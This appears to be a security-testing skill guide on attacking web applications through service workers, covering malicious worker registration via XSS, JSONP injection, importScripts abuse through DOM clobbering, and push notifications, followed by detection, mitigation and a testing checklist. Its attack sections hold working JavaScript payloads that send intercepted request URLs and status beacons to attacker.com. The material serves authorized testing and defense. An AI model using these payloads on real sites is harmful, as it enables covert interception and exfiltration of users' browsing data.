Service Worker XSS Testing
A skill for testing and exploiting service worker vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications for service worker security issues
- Investigating XSS vulnerabilities that could register malicious service workers
- Auditing applications that use service workers for offline functionality
- Testing for
importScriptsabuse and DOM clobbering attacks - Evaluating push notification security risks
- Performing comprehensive XSS testing that includes service worker attack vectors
Understanding Service Workers
A service worker is a script that runs in the browser background, separate from web pages. It enables offline and background processing but can be exploited to:
- Intercept and modify all network requests within its scope
- Steal URLs and data from victim interactions
- Persist even after the original page is closed
- Bypass some CSP protections via
importScripts
Attack Vectors
1. Arbitrary JS Upload + XSS Registration
Requirements:
- Ability to upload arbitrary JavaScript files to the server
- XSS vulnerability to load/register the uploaded service worker
Attack Flow:
- Upload malicious service worker script to the target server
- Use XSS to execute registration code
- Service worker intercepts all fetch requests in scope
Malicious Service Worker Template:
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
// Send intercepted URL to attacker
fetch('https://attacker.com/fetch_url/' + e.request.url);
return response;
}));
});
Registration Code (XSS Payload):
<script>
window.addEventListener('load', function() {
var sw = "/path/to/uploaded/sw.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
// Notify attacker of success
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://attacker.com/SW/success", true);
xhttp.send();
}, function (err) {
// Notify attacker of failure
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://attacker.com/SW/error", true);
xhttp.send();
});
});
</script>
2. Vulnerable JSONP + Service Worker Registration
Requirements:
- JSONP endpoint with controllable callback output
- XSS to load the JSONP with malicious payload
Attack Flow:
- Craft JSONP request that returns service worker code
- Use XSS to load the JSONP endpoint
- Service worker registers from JSONP response
JSONP Payload Example:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
3. importScripts Abuse via DOM Clobbering
Requirements:
- Service worker that uses
importScriptswith attacker-controllable parameter - DOM clobbering capability to modify the parameter
Vulnerable Pattern:
// sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get("host");
self.importScripts(host + "/sw_extra.js"); // host is attacker-controlled
Attack:
- Identify service worker with controllable
importScriptsparameter - Use DOM clobbering to modify the parameter value
- Service worker loads malicious script from attacker domain
- This bypasses CSP protections
4. Push Notification Exploitation
Risk Assessment:
- Permissions granted: Service worker can receive and execute push notifications without user interaction
- Permissions denied: Limits continuous threat potential
Testing:
- Check if push notification permissions are requested
- Test if service worker can be triggered via push
- Evaluate persistence of malicious service worker
Detection Methods
Browser Developer Tools
- Open Developer Tools (F12)
- Navigate to Application tab
- Check Service Workers section
- View registered workers, scope, and status
Chrome Internals
- Visit
chrome://serviceworker-internalsfor detailed service worker information - Shows all registered workers across domains
- Useful for identifying unexpected service workers
Automated Detection
Use the detect-service-workers.sh script to check for service workers programmatically.
Mitigation Recommendations
For Site Operators
- Lower Service Worker TTL: Reduce the 24-hour cache directive to minimize vulnerability window
- Implement Kill-Switch: Create a mechanism to rapidly deactivate service workers
- Validate Uploads: Strictly validate and sanitize any user-uploaded JavaScript
- Scope Limitation: Use narrow scopes for service workers when possible
- Monitor Registration: Log and monitor service worker registration events
For Developers
- Avoid Dynamic
importScripts: Don't use attacker-controllable parameters - Validate URL Parameters: Sanitize all parameters used in service worker registration
- Use Subresource Integrity: Verify script integrity before loading
- Implement CSP: While
importScriptscan bypass some CSP, it still provides defense in depth
Testing Checklist
- Check for existing service workers in Application tab
- Identify upload endpoints for JavaScript files
- Find XSS vulnerabilities that could register service workers
- Test JSONP endpoints for service worker injection
- Look for
importScriptswith controllable parameters - Test DOM clobbering on service worker URLs
- Evaluate push notification permissions
- Check service worker scope and persistence
- Verify kill-switch mechanisms exist
- Review TTL settings
Tools
Shadow Workers
C2 framework for service worker exploitation
Detection Script
Run scripts/detect-service-workers.sh to programmatically check for service workers.
Payload Generator
Use scripts/generate-sw-payload.py to create custom service worker payloads for testing.
References
- PortSwigger: Hijacking Service Workers via DOM Clobbering
- Google: Service Workers Primer
- StackOverflow: Service Worker Kill-Switch
- Shadow Workers C2
Important Notes
- 24-Hour Persistence: Malicious service workers can persist for up to 24 hours after XSS fix (assuming online client)
- CSP Bypass:
importScriptsabuse can bypass Content Security Policy protections - Scope Matters: Service workers operate within their registered scope - broader scope = greater impact
- User Interaction: Push notifications require permission but enable background execution
- Testing Ethics: Only test applications you have authorization to audit